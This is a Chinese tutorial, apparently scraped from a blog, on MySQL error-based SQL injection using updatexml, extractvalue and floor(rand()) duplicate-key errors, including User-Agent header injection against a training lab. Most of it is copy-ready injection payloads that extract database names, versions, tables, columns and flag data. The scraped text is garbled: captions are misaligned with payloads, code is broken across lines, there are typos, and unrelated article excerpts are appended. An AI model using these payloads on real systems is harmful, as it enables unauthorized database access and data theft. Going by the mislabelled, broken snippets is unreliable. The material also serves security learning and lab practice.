extractvalue
floor(rand()*2)
當場景中僅僅將sql語句帶入查詢返回頁面正確,沒有返回點的時候,
需要報錯注入,用報錯的回顯把我們想要看到的東西,以乙個報出錯誤的形式展現出來
插入資料
insert
into
(columns1,columns2,..
.)value
('value1'
,'value2',...)
連線字串
select concat(
'a',
'b')
利用報錯注入顯示當前資料庫名,利用連線符將非法字元聯入,導致函式出現報錯顯現,同時把我們想要看到的資料展現出來
更新xml文件,中間引數為路徑
select uodatexml(1,
'~',
1)
語法:updatexml(目標xml內容,xml文件路徑,更新的內容)
實際上這裡是去更新了xml文件,但是我們在xml文件路徑的位置裡面寫入了子查詢select database()
,我們輸入特殊字元concat('~',...)
,然後就因為不符合輸入規則然後報錯了但是報錯的時候他其實已經執行了那個子查詢**
updatexml () 這個函式一般是配合and 或者是or 使用的,他和聯合查詢不同,不需要在意什麼字段數,一般建議使用oreg:
在靶場中看資料庫返回的資料,有時會包括user-agent,refferer等等響應頭中的資訊,說明是可以利用報錯注入的header注入(通過檢視原始碼,看過濾的引數和insert into使用的引數,從而確定注入位置)select
*from news where id=
1and updatexml(
1,concat(
0x7e,(
select
database()
),0x7e),
1)
在登陸時,利用burpsuite抓包,將相應的user-agent等修改為要注入的sql語句
在repeater中go一下,或者使用瀏覽器外掛程式修改頭部再執行,即可看到想要看的資料
基本**解釋:
基本的實現語句,是利用資料庫中的增加,進行報錯注入
查詢資料庫版本insert
into sanhao(name,fenshu)
values(''
or updatexml(
1,concat(
0x7e,(
select
database()
)),1
),1)
查詢本資料庫名稱' or updatexml(
1,concat(
0x7e,(
select version())
),1)
,1)-- qwe
查詢表名' or updatexml(
1,concat(
0x7e,(
select
database()
)),1
),1)
-- adf
查詢欄位名' or updatexml(
1,concat(
0x7e,(
select table_name from information_schema.
tables
where table_schema=
database()
limit0,
1)),
1),1
)-- qwe
查詢資料' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag_head' limit1,
1)),
1),1
)-- qwe
函式解釋:' or updatexml(
1,concat(
0x7e,(
select flag_h1 from flag_head limit0,
1)),
1),1
)-- qwe
extractvalue():從目標xml中返回包含所查詢值的字串。
第乙個引數:xml_document是string格式,為xml文件物件的名稱,文中為docextractvalue(xml_document, xpath_string)
第二個引數:xpath_string (xpath格式的字串),xml中的位置是可操作的地方,xml文件中查詢字元位置是用 /***/***/***/…這種格式,如果我們寫入其他格式,就會報錯,並且會返回我們寫入的非法格式內容,而這個非法的內容就是我們想要查詢的內容
eg:
extractvalue(
null
,concat(
0x7e,(
select @@datadir),
0x7e))
;
' or extractvalue(
1,concat(
0x7e,(
select
database()
),0x7e))
-- sad
extractvalue的用法和updatexml基本一致,均只能顯示32位' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security')
,0x7e))
-- afrw
rand()用於產生乙個0~1的隨機數and
(select
1from
(select
count(*
),concat(
user()
,floor(rand(0)
*2))x from information_schema.
tables
group
by x)a)
;
floor()向下取整
rand()函式生成0~1的數,使用floor函式向下取整,值就是固定的「0」,我們將rand*2,得到的值就變成了不固定的「0」或者「1」
由於select
count(*
)from table1 group
by floor(rand()*
2)
floor(rand(0)*2)
是隨機產生,會先產生乙個定值,在count時先取key發現是0,會重新計算floor(rand(0)*2)如果變為1,則會將key=1插入報錯的產生在於當發現乙個key不存在,需要記錄時,會重新計算隨機值,就有可能會生產已經存在的key值,由於不能重覆記錄同乙個key值在兩條記錄中,就會有報錯產生
SQL注入之報錯注入
固定語句公式 union select 1 from select count concat floor rand 0 2 注入爆資料語句 a from information schema.tables group by a b 假如id輸入存在注入的話,可以通過如下語句進行報錯。mysql se...
SQL注入之報錯注入
0x01 報錯注入 在實際場景中,沒有乙個資料的返回資訊點。此時需要用報錯注入使其顯示出注入資訊。使用到報錯注入的場景有 普通報錯注入,即沒有資料返回點 insert注入 update注入 delete注入 0x02 常用到的兩個報錯函式 updatexml 和extractvalue 函式 0x0...
SQL注入基礎 3 報錯注入
1 考慮使用報錯注入 url url 由於多了乙個 sql語句執行時會報錯。而這裡程式直接將錯誤資訊輸出到了頁面上,所以可以利用報錯注入來獲取資料。2 獲取user 的值 報錯注入有多種格式,這裡使用updatexml 函式,其中0x7e為ascii編碼,解碼為 語句 and updatexml 1...